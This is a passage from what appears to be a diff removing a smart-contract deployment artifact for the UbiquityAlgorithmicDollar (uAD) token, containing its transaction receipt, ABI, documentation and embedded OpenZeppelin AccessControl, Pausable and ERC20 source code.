"0xaa994c1292313f226443907b1acae33f5e83b4a590e0ceeb684820364353215f", - "receipt": { - "to": null, - "from": "0xefC0e701A824943b469a694aC564Aa1efF7Ab7dd", - "contractAddress": "0x0F644658510c95CB46955e55D7BA9DDa9E9fBEc6", - "transactionIndex": 56, - "gasUsed": "2106498", - "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", - "blockHash": "0x78edc5f3ef892d258a08dcd9ff1b301866f80640383ad361ddc5869e33ab9ecb", - "transactionHash": "0xaa994c1292313f226443907b1acae33f5e83b4a590e0ceeb684820364353215f", - "logs": [], - "blockNumber": 12595230, - "cumulativeGasUsed": "4828063", - "status": 1, - "byzantium": true - }, - "args": ["0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98"], - "solcInputHash": "718dfe5f2e9bb98c22443f71ab0527e0", - "metadata": "{\"compiler\":{\"version\":\"0.8.3+commit.8d00100c\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_manager\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"Approval\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"_burned\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"_amount\",\"type\":\"uint256\"}],\"name\":\"Burning\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"_incentivized\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"_incentiveContract\",\"type\":\"address\"}],\"name\":\"IncentiveContractUpdate\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"_to\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"_minter\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"_amount\",\"type\":\"uint256\"}],\"name\":\"Minting\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"Paused\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"Transfer\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"Unpaused\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"DOMAIN_SEPARATOR\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"PERMIT_TYPEHASH\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"}],\"name\":\"allowance\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"approve\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"balanceOf\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"burn\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"burnFrom\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"decimals\",\"outputs\":[{\"internalType\":\"uint8\",\"name\":\"\",\"type\":\"uint8\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"subtractedValue\",\"type\":\"uint256\"}],\"name\":\"decreaseAllowance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"incentiveContract\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"addedValue\",\"type\":\"uint256\"}],\"name\":\"increaseAllowance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"manager\",\"outputs\":[{\"internalType\":\"contract UbiquityAlgorithmicDollarManager\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"mint\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"name\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"nonces\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"pause\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"paused\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"deadline\",\"type\":\"uint256\"},{\"internalType\":\"uint8\",\"name\":\"v\",\"type\":\"uint8\"},{\"internalType\":\"bytes32\",\"name\":\"r\",\"type\":\"bytes32\"},{\"internalType\":\"bytes32\",\"name\":\"s\",\"type\":\"bytes32\"}],\"name\":\"permit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"incentive\",\"type\":\"address\"}],\"name\":\"setIncentiveContract\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"newName\",\"type\":\"string\"}],\"name\":\"setName\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"newSymbol\",\"type\":\"string\"}],\"name\":\"setSymbol\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"symbol\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"totalSupply\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"recipient\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"transfer\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"sender\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"recipient\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"transferFrom\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"unpause\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"allowance(address,address)\":{\"details\":\"See {IERC20-allowance}.\"},\"approve(address,uint256)\":{\"details\":\"See {IERC20-approve}. Requirements: - `spender` cannot be the zero address.\"},\"balanceOf(address)\":{\"details\":\"See {IERC20-balanceOf}.\"},\"burn(uint256)\":{\"params\":{\"amount\":\"the amount to burn\"}},\"burnFrom(address,uint256)\":{\"params\":{\"account\":\"the account to burn from\",\"amount\":\"the amount to burn\"}},\"decimals()\":{\"details\":\"Returns the number of decimals used to get its user representation. For example, if `decimals` equals `2`, a balance of `505` tokens should be displayed to a user as `5,05` (`505 / 10 ** 2`). Tokens usually opt for a value of 18, imitating the relationship between Ether and Wei. This is the value {ERC20} uses, unless this function is overridden; NOTE: This information is only used for _display_ purposes: it in no way affects any of the arithmetic of the contract, including {IERC20-balanceOf} and {IERC20-transfer}.\"},\"decreaseAllowance(address,uint256)\":{\"details\":\"Atomically decreases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address. - `spender` must have allowance for the caller of at least `subtractedValue`.\"},\"increaseAllowance(address,uint256)\":{\"details\":\"Atomically increases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address.\"},\"name()\":{\"details\":\"Returns the name of the token.\"},\"paused()\":{\"details\":\"Returns true if the contract is paused, and false otherwise.\"},\"permit(address,address,uint256,uint256,uint8,bytes32,bytes32)\":{\"params\":{\"deadline\":\"the deadline after which the approval is no longer valid\",\"owner\":\"the uAD holder\",\"spender\":\"the approved operator\",\"value\":\"the amount approved\"}},\"setIncentiveContract(address,address)\":{\"params\":{\"account\":\"the account to incentivize\",\"incentive\":\"the associated incentive contract\"}},\"setName(string)\":{\"params\":{\"newName\":\"new token name\"}},\"setSymbol(string)\":{\"params\":{\"newSymbol\":\"new token symbol\"}},\"symbol()\":{\"details\":\"Returns the symbol of the token, usually a shorter version of the name.\"},\"totalSupply()\":{\"details\":\"See {IERC20-totalSupply}.\"},\"transfer(address,uint256)\":{\"details\":\"See {IERC20-transfer}. Requirements: - `recipient` cannot be the zero address. - the caller must have a balance of at least `amount`.\"},\"transferFrom(address,address,uint256)\":{\"details\":\"See {IERC20-transferFrom}. Emits an {Approval} event indicating the updated allowance. This is not required by the EIP. See the note at the beginning of {ERC20}. Requirements: - `sender` and `recipient` cannot be the zero address. - `sender` must have a balance of at least `amount`. - the caller must have allowance for ``sender``'s tokens of at least `amount`.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"burn(uint256)\":{\"notice\":\"burn UAD tokens from caller\"},\"burnFrom(address,uint256)\":{\"notice\":\"burn uAD tokens from specified account\"},\"incentiveContract(address)\":{\"notice\":\"get associated incentive contract, 0 address if N/A\"},\"permit(address,address,uint256,uint256,uint8,bytes32,bytes32)\":{\"notice\":\"permit spending of uAD. owner has signed a message allowing spender to transfer up to amount uAD\"},\"setIncentiveContract(address,address)\":{\"notice\":\"only UAD manager can set Incentive contract\"},\"setName(string)\":{\"notice\":\"setName update token name\"},\"setSymbol(string)\":{\"notice\":\"setSymbol update token symbol\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"contracts/UbiquityAlgorithmicDollar.sol\":\"UbiquityAlgorithmicDollar\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"none\",\"useLiteralContent\":true},\"optimizer\":{\"enabled\":true,\"runs\":800},\"remappings\":[]},\"sources\":{\"@openzeppelin/contracts/access/AccessControl.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../utils/Context.sol\\\";\\nimport \\\"../utils/Strings.sol\\\";\\nimport \\\"../utils/introspection/ERC165.sol\\\";\\n\\n/**\\n * @dev External interface of AccessControl declared to support ERC165 detection.\\n */\\ninterface IAccessControl {\\n function hasRole(bytes32 role, address account) external view returns (bool);\\n function getRoleAdmin(bytes32 role) external view returns (bytes32);\\n function grantRole(bytes32 role, address account) external;\\n function revokeRole(bytes32 role, address account) external;\\n function renounceRole(bytes32 role, address account) external;\\n}\\n\\n/**\\n * @dev Contract module that allows children to implement role-based access\\n * control mechanisms. This is a lightweight version that doesn't allow enumerating role\\n * members except through off-chain means by accessing the contract event logs. Some\\n * applications may benefit from on-chain enumerability, for those cases see\\n * {AccessControlEnumerable}.\\n *\\n * Roles are referred to by their `bytes32` identifier. These should be exposed\\n * in the external API and be unique. The best way to achieve this is by\\n * using `public constant` hash digests:\\n *\\n * ```\\n * bytes32 public constant MY_ROLE = keccak256(\\\"MY_ROLE\\\");\\n * ```\\n *\\n * Roles can be used to represent a set of permissions. To restrict access to a\\n * function call, use {hasRole}:\\n *\\n * ```\\n * function foo() public {\\n * require(hasRole(MY_ROLE, msg.sender));\\n * ...\\n * }\\n * ```\\n *\\n * Roles can be granted and revoked dynamically via the {grantRole} and\\n * {revokeRole} functions. Each role has an associated admin role, and only\\n * accounts that have a role's admin role can call {grantRole} and {revokeRole}.\\n *\\n * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means\\n * that only accounts with this role will be able to grant or revoke other\\n * roles. More complex role relationships can be created by using\\n * {_setRoleAdmin}.\\n *\\n * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to\\n * grant and revoke this role. Extra precautions should be taken to secure\\n * accounts that have been granted it.\\n */\\nabstract contract AccessControl is Context, IAccessControl, ERC165 {\\n struct RoleData {\\n mapping (address => bool) members;\\n bytes32 adminRole;\\n }\\n\\n mapping (bytes32 => RoleData) private _roles;\\n\\n bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;\\n\\n /**\\n * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`\\n *\\n * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite\\n * {RoleAdminChanged} not being emitted signaling this.\\n *\\n * _Available since v3.1._\\n */\\n event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);\\n\\n /**\\n * @dev Emitted when `account` is granted `role`.\\n *\\n * `sender` is the account that originated the contract call, an admin role\\n * bearer except when using {_setupRole}.\\n */\\n event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);\\n\\n /**\\n * @dev Emitted when `account` is revoked `role`.\\n *\\n * `sender` is the account that originated the contract call:\\n * - if using `revokeRole`, it is the admin role bearer\\n * - if using `renounceRole`, it is the role bearer (i.e. `account`)\\n */\\n event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);\\n\\n /**\\n * @dev Modifier that checks that an account has a specific role. Reverts\\n * with a standardized message including the required role.\\n *\\n * The format of the revert reason is given by the following regular expression:\\n *\\n * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/\\n *\\n * _Available since v4.1._\\n */\\n modifier onlyRole(bytes32 role) {\\n _checkRole(role, _msgSender());\\n _;\\n }\\n\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n return interfaceId == type(IAccessControl).interfaceId\\n || super.supportsInterface(interfaceId);\\n }\\n\\n /**\\n * @dev Returns `true` if `account` has been granted `role`.\\n */\\n function hasRole(bytes32 role, address account) public view override returns (bool) {\\n return _roles[role].members[account];\\n }\\n\\n /**\\n * @dev Revert with a standard message if `account` is missing `role`.\\n *\\n * The format of the revert reason is given by the following regular expression:\\n *\\n * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/\\n */\\n function _checkRole(bytes32 role, address account) internal view {\\n if(!hasRole(role, account)) {\\n revert(string(abi.encodePacked(\\n \\\"AccessControl: account \\\",\\n Strings.toHexString(uint160(account), 20),\\n \\\" is missing role \\\",\\n Strings.toHexString(uint256(role), 32)\\n )));\\n }\\n }\\n\\n /**\\n * @dev Returns the admin role that controls `role`. See {grantRole} and\\n * {revokeRole}.\\n *\\n * To change a role's admin, use {_setRoleAdmin}.\\n */\\n function getRoleAdmin(bytes32 role) public view override returns (bytes32) {\\n return _roles[role].adminRole;\\n }\\n\\n /**\\n * @dev Grants `role` to `account`.\\n *\\n * If `account` had not been already granted `role`, emits a {RoleGranted}\\n * event.\\n *\\n * Requirements:\\n *\\n * - the caller must have ``role``'s admin role.\\n */\\n function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\\n _grantRole(role, account);\\n }\\n\\n /**\\n * @dev Revokes `role` from `account`.\\n *\\n * If `account` had been granted `role`, emits a {RoleRevoked} event.\\n *\\n * Requirements:\\n *\\n * - the caller must have ``role``'s admin role.\\n */\\n function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\\n _revokeRole(role, account);\\n }\\n\\n /**\\n * @dev Revokes `role` from the calling account.\\n *\\n * Roles are often managed via {grantRole} and {revokeRole}: this function's\\n * purpose is to provide a mechanism for accounts to lose their privileges\\n * if they are compromised (such as when a trusted device is misplaced).\\n *\\n * If the calling account had been granted `role`, emits a {RoleRevoked}\\n * event.\\n *\\n * Requirements:\\n *\\n * - the caller must be `account`.\\n */\\n function renounceRole(bytes32 role, address account) public virtual override {\\n require(account == _msgSender(), \\\"AccessControl: can only renounce roles for self\\\");\\n\\n _revokeRole(role, account);\\n }\\n\\n /**\\n * @dev Grants `role` to `account`.\\n *\\n * If `account` had not been already granted `role`, emits a {RoleGranted}\\n * event. Note that unlike {grantRole}, this function doesn't perform any\\n * checks on the calling account.\\n *\\n * [WARNING]\\n * ====\\n * This function should only be called from the constructor when setting\\n * up the initial roles for the system.\\n *\\n * Using this function in any other way is effectively circumventing the admin\\n * system imposed by {AccessControl}.\\n * ====\\n */\\n function _setupRole(bytes32 role, address account) internal virtual {\\n _grantRole(role, account);\\n }\\n\\n /**\\n * @dev Sets `adminRole` as ``role``'s admin role.\\n *\\n * Emits a {RoleAdminChanged} event.\\n */\\n function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {\\n emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);\\n _roles[role].adminRole = adminRole;\\n }\\n\\n function _grantRole(bytes32 role, address account) private {\\n if (!hasRole(role, account)) {\\n _roles[role].members[account] = true;\\n emit RoleGranted(role, account, _msgSender());\\n }\\n }\\n\\n function _revokeRole(bytes32 role, address account) private {\\n if (hasRole(role, account)) {\\n _roles[role].members[account] = false;\\n emit RoleRevoked(role, account, _msgSender());\\n }\\n }\\n}\\n\",\"keccak256\":\"0x98fac37221212c8f126f198d262a4df86394bd1a9969f61e40739fe8ac013dd8\",\"license\":\"MIT\"},\"@openzeppelin/contracts/security/Pausable.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../utils/Context.sol\\\";\\n\\n/**\\n * @dev Contract module which allows children to implement an emergency stop\\n * mechanism that can be triggered by an authorized account.\\n *\\n * This module is used through inheritance. It will make available the\\n * modifiers `whenNotPaused` and `whenPaused`, which can be applied to\\n * the functions of your contract. Note that they will not be pausable by\\n * simply including this module, only once the modifiers are put in place.\\n */\\nabstract contract Pausable is Context {\\n /**\\n * @dev Emitted when the pause is triggered by `account`.\\n */\\n event Paused(address account);\\n\\n /**\\n * @dev Emitted when the pause is lifted by `account`.\\n */\\n event Unpaused(address account);\\n\\n bool private _paused;\\n\\n /**\\n * @dev Initializes the contract in unpaused state.\\n */\\n constructor () {\\n _paused = false;\\n }\\n\\n /**\\n * @dev Returns true if the contract is paused, and false otherwise.\\n */\\n function paused() public view virtual returns (bool) {\\n return _paused;\\n }\\n\\n /**\\n * @dev Modifier to make a function callable only when the contract is not paused.\\n *\\n * Requirements:\\n *\\n * - The contract must not be paused.\\n */\\n modifier whenNotPaused() {\\n require(!paused(), \\\"Pausable: paused\\\");\\n _;\\n }\\n\\n /**\\n * @dev Modifier to make a function callable only when the contract is paused.\\n *\\n * Requirements:\\n *\\n * - The contract must be paused.\\n */\\n modifier whenPaused() {\\n require(paused(), \\\"Pausable: not paused\\\");\\n _;\\n }\\n\\n /**\\n * @dev Triggers stopped state.\\n *\\n * Requirements:\\n *\\n * - The contract must not be paused.\\n */\\n function _pause() internal virtual whenNotPaused {\\n _paused = true;\\n emit Paused(_msgSender());\\n }\\n\\n /**\\n * @dev Returns to normal state.\\n *\\n * Requirements:\\n *\\n * - The contract must be paused.\\n */\\n function _unpause() internal virtual whenPaused {\\n _paused = false;\\n emit Unpaused(_msgSender());\\n }\\n}\\n\",\"keccak256\":\"0xab1f67e4c96dfe0e3875d22883c3dee5411914f40ce0c54ef407f030d803512e\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/ERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC20.sol\\\";\\nimport \\\"./extensions/IERC20Metadata.sol\\\";\\nimport \\\"../../utils/Context.sol\\\";\\n\\n/**\\n * @dev Implementation of the {IERC20} interface.\\n *\\n * This implementation is agnostic to the way tokens are created. This means\\n * that a supply mechanism has to be added in a derived contract using {_mint}.\\n * For a generic mechanism see {ERC20PresetMinterPauser}.\\n *\\n * TIP: For a detailed writeup see our guide\\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\\n * to implement supply mechanisms].\\n *\\n * We have followed general OpenZeppelin guidelines: functions revert instead\\n * of returning `false` on failure. This behavior is nonetheless conventional\\n * and does not conflict with the expectations of ERC20 applications.\\n *\\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\\n * This allows applications to reconstruct the allowance for all accounts just\\n * by listening to said events. Other implementations of the EIP may not emit\\n * these events, as it isn't required by the specification.\\n *\\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\\n * functions have been added to mitigate the well-known issues around setting\\n * allowances. See {IERC20-approve}.\\n */\\ncontract ERC20 is Context, IERC20, IERC20Metadata {\\n mapping (address => uint256) private _balances;\\n\\n mapping (address => mapping (address => uint256)) private _allowances;\\n\\n uint256 private _totalSupply;\\n\\n string private _name;\\n string private _symbol;\\n\\n /**\\n * @dev Sets the values for {name} and {symbol}.\\n *\\n * The defaut value of {decimals} is 18. To select a different value for\\n * {decimals} you should overload it.\\n *\\n * All two of these values are immutable: they can only be set once during\\n * construction.\\n */\\n constructor (string memory name_, string memory symbol_) {\\n _name = name_;\\n _symbol = symbol_;\\n }\\n\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() public view virtual override returns (string memory) {\\n return _name;\\n }\\n\\n /**\\n * @dev Returns the symbol of the token, usually a shorter version of the\\n * name.\\n */\\n function symbol() public view virtual override returns (string memory) {\\n return _symbol;\\n }\\n\\n /**\\n * @dev Returns the number of decimals used to get its user representation.\\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\\n * be displayed to a user as `5,05` (`505 / 10 ** 2`).\\n *\\n * Tokens usually opt for a value of 18, imitating the relationship between\\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\\n * overridden;\\n *\\n * NOTE: This information is only used for _display_ purposes: it in\\n * no way affects any of the arithmetic of the contract, including\\n * {IERC20-balanceOf} and {IERC20-transfer}.\\n */\\n function decimals() public view virtual override returns (uint8) {\\n return 18;\\n }\\n\\n /**\\n * @dev See {IERC20-totalSupply}.\\n */\\n function totalSupply() public view virtual override returns (uint256) {\\n return _totalSupply;\\n }\\n\\n /**\\n * @dev See {IERC20-balanceOf}.\\n */\\n function balanceOf(address account) public view virtual override returns (uint256) {\\n return _balances[account];\\n }\\n\\n /**\\n * @dev See {IERC20-transfer}.\\n *\\n * Requirements:\\n *\\n * - `recipient` cannot be the zero address.\\n * - the caller must have a balance of at least `amount`.\\n */\\n function transfer(address recipient, uint256 amount) public virtual override returns (bool) {\\n _transfer(_msgSender(), recipient, amount);\\n return true;\\n }\\n\\n /**\\n * @dev See {IERC20-allowance}.\\n */\\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\\n return _allowances[owner][spender];\\n }\\n\\n /**\\n * @dev See {IERC20-approve}.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n */\\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\\n _approve(_msgSender(), spender, amount);\\n return true;\\n }\\n\\n /**\\n * @dev See {IERC20-transferFrom}.\\n *\\n * Emits an {Approval} event indicating the updated allowance. This is not\\n * required by the EIP. See the note at the beginning of {ERC20}.\\n *\\n * Requirements:\\n *\\n * - `sender` and `recipient` cannot be the zero address.\\n * - `sender` must have a balance of at least `amount`.\\n * - the caller must have allowance for ``sender``'s tokens of at least\\n * `amount`.\\n */\\n function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {\\n _transfer(sender, recipient, amount);\\n\\n uint256 currentAllowance = _allowances[sender][_msgSender()];\\n require(currentAllowance >= amount, \\\"ERC20: transfer amount exceeds allowance\\\");\\n _approve(sender, _msgSender(), currentAllowance - amount);\\n\\n return true;\\n }\\n\\n /**\\n * @dev Atomically increases the allowance granted to `spender` by the caller.\\n *\\n * This is an alternative to {approve} that can be used as a mitigation for\\n * problems described in {IERC20-approve}.\\n *\\n * Emits an {Approval} event indicating the updated allowance.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n */\\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\\n _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);\\n return true;\\n }\\n\\n /**\\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\\n *\\n * This is an alternative to {approve} that can be used as a mitigation for\\n * problems described in {IERC20-approve}.\\n *\\n * Emits an {Approval} event indicating the updated allowance.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n * - `spender` must have allowance for the caller of at least\\n * `subtractedValue`.\\n */\\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\\n uint256 currentAllowance = _allowances[_msgSender()][spender];\\n require(currentAllowance >= subtractedValue, \\\"ERC20: decreased allowance below zero\\\");\\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\\n\\n return true;\\n }\\n\\n /**\\n * @dev Moves tokens `amount` from `sender` to `recipient`.\\n *\\n * This is internal function is equivalent to {transfer}, and can be used to\\n * e.g. implement automatic token fees, slashing mechanisms, etc.\\n *\\n * Emits a {Transfer} event.\\n *\\n * Requirements:\\n *\\n * - `sender` cannot be the zero address.\\n * - `recipient` cannot be the zero address.\\n * - `sender` must have a balance of at least `amount`.\\n */\\n function _transfer(address sender, address recipient, uint256 amount) internal virtual {\\n require(sender != address(0), \\\"ERC20: transfer from the zero address\\\");\\n require(recipient != address(0), \\\"ERC20: transfer to the zero address\\\");\\n\\n _beforeTokenTransfer(sender, recipient, amount);\\n\\n uint256 senderBalance = _balances[sender];\\n require(senderBalance >= amount, \\\"ERC20: transfer amount exceeds balance\\\");\\n _balances[sender] = senderBalance - amount;\\n _balances[recipient] += amount;\\n\\n emit Transfer(sender, recipient, amount);\\n }\\n\\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\\n * the total supply.\\n *\\n * Emits a {Transfer} event with `from` set to the zero address.\\n *\\n * Requirements:\\n *\\n * - `to` cannot be the zero address.\\n */\\n function _mint(address account, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC20: mint to the zero address\\\");\\n\\n _beforeTokenTransfer(address(0), account, amount);\\n\\n _totalSupply += amount;\\n _balances[account] += amount;\\n emit Transfer(address(0), account, amount);\\n }\\n\\n /**\\n * @dev Destroys 